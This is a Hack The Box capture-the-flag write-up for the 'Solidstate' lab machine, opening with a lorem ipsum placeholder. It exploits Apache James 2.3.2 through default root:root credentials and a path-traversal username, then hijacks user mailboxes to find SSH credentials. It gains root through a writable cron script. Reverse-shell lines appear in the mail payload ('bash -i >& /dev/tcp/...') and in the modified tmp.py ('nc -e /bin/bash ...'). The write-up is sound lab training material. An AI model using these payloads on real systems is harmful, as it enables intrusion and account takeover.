Solidstate - Hack The Box

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hackthebox
Author

0xPThree

Published

March 8, 2021

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. Standard enumeration - nmap, dirb, nikto.

[p3:/git/htb/solidstate]$ nmap -p- 10.10.10.51 PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 119/tcp open nntp 4555/tcp open rsip

[p3:/git/htb/solidstate]$ nmap -p 22,25,80,110,119,4555 -sCV 10.10.10.51 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open smtp JAMES smtpd 2.3.2 |_smtp-commands: solidstate Hello solidstate.htb (10.10.14.3 [10.10.14.3]), 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok) 4555/tcp open james-admin JAMES Remote Admin 2.3.2

DIRB: —- Scanning URL: http://10.10.10.51/ —- ==> DIRECTORY: http://10.10.10.51/assets/ ==> DIRECTORY: http://10.10.10.51/images/ + http://10.10.10.51/index.html (CODE:200|SIZE:7776) + http://10.10.10.51/server-status (CODE:403|SIZE:299)

NIKTO: -

  1. Quick look at JAMES 2.3.2 we find a authenticated RCE (35513.py) vuln

[p3:/git/htb/solidstate]$ searchsploit JAMES — snip — Apache James Server 2.3.2 - Remote Command Execution | linux/remote/35513.py

The script logs in with default credentials (root:root) and creates the user ‘../../../../../../../../etc/bash_completion.d’. Once created, an email containing a malicious payload will be sent which will be triggered once someone logs into the machine.

Modify the payload, execute and verify the results:

[p3:/git/htb/solidstate]$ python 35513.py 10.10.10.51 (master✱) [+]Connecting to James Remote Administration Tool… [+]Creating user… [+]Connecting to James SMTP server… [+]Sending payload… [+]Done! Payload will be executed once somebody logs in.

[p3:/git/htb/solidstate]$ telnet 10.10.10.51 4555 Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is ‘^]’. JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands

listusers
  Existing accounts 6
  user: james
  user: ../../../../../../../../etc/bash_completion.d
  user: thomas
  user: john
  user: mindy
  user: mailadmin
  user james

[p3:/git/htb/solidstate]$ telnet 10.10.10.51 110 (master✱) Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is ‘^]’. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER ../../../../../../../../etc/bash_completion.d +OK PASS exploit +OK Welcome ../../../../../../../../etc/bash_completion.d LIST +OK 2 1239 1 600 2 639 . RETR 2 +OK Message follows Return-Path: <’@team.pl> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost Received: from 10.10.14.6 ([10.10.14.6]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 471 for <../../../../../../../../etc/bash_completion.d@localhost>; Wed, 10 Mar 2021 03:44:35 -0500 (EST) Date: Wed, 10 Mar 2021 03:44:35 -0500 (EST) From: team@team.pl

  '
  bash -i >& /dev/tcp/10.10.14.6/4488 0>&1

  .
  1. As mentioned, to trigger the exploit we need to login to the machine some how. We can’t find anything on port 80, so lets look through all users mailboxes.

[p3:/git/htb/solidstate]$ telnet 10.10.10.51 4555 (master✱) Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is ‘^]’. JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands setpassword john 123 Password for john reset

[p3:/git/htb/solidstate]$ telnet 10.10.10.51 110 (master✱) Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is ‘^]’. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER john +OK PASS 123 +OK Welcome john list +OK 1 743 1 743 . RETR 1 +OK Message follows Return-Path: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: john@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for ; Tue, 22 Aug 2017 13:16:20 -0400 (EDT) Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT) From: mailadmin@localhost Subject: New Hires access John,

  Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

  Thank you in advance.

  Respectfully,
  James

[p3:/git/htb/solidstate]$ telnet 10.10.10.51 110 (master✱) Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is ‘^]’. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER mindy +OK PASS 123 +OK Welcome mindy list +OK 2 1945 1 1109 2 836 . RETR 1 +OK Message follows Return-Path: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798 for ; Tue, 22 Aug 2017 13:13:42 -0400 (EDT) Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT) From: mailadmin@localhost Subject: Welcome

  Dear Mindy,
  Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

  We are looking forward to you joining our team and your success at Solid State Security.

  Respectfully,
  James
  .
RETR 2
  +OK Message follows
  Return-Path: <mailadmin@localhost>
  Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
  MIME-Version: 1.0
  Content-Type: text/plain; charset=us-ascii
  Content-Transfer-Encoding: 7bit
  Delivered-To: mindy@localhost
  Received: from 192.168.11.142 ([192.168.11.142])
            by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
            for <mindy@localhost>;
            Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
  Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
  From: mailadmin@localhost
  Subject: Your Access

  Dear Mindy,


  Here are your ssh credentials to access the system. Remember to reset your password after your first login.
  Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

  username: mindy
  pass: P@55W0rd1!2@

  Respectfully,
  James
  1. We got creds for mindy:P@55W0rd1!2@, log in with SSH to trigger the expliot reverse shell.

[p3:~]$ nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.6] from (UNKNOWN) [10.10.10.51] 37728 $ whoami mindy

The shell seems to trigger as the user whom logged in, however Mindys default shell is ‘/bin/rbash’ - a restricted shell where the user can’t execute anything. With the reverse exploit, we are able to spawn a normal /bin/bash shell.

mindy@solidstate:~$ cat user.txt 0510e71c2e8c9cb333b36a38080d0dc2

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  1. Enumerating the box we find a /opt/tmp.py, a writable script, owned by root, that cleans /tmp/. By looking at the code one would assume this is ran automatically and regularly. Verify this by creating a file in /tmp and wait.

    Modify the code, setup a listener, and wait (a few minutes) for a root shell. NOTE: You can verify your shell syntax by running ‘python tmp.py’ and see if you get the reverse as user mindy.

\({debian_chroot:+(\)debian_chroot)}mindy@solidstate:/opt$ cat tmp.py #!/usr/bin/env python import os import sys try: os.system(‘nc -e /bin/bash 10.10.14.6 4499’) except: sys.exit()

[p3:…esome-scripts-suite/linPEAS]$ nc -lvnp 4499 (master) listening on [any] 4499 … connect to [10.10.14.6] from (UNKNOWN) [10.10.10.51] 49756 whoami root cat /root/root.txt 4f4afb55463c3bc79ab1e906b074953d

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James 2.3.2 Exploit: https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf

POP3: https://book.hacktricks.xyz/pentesting/pentesting-pop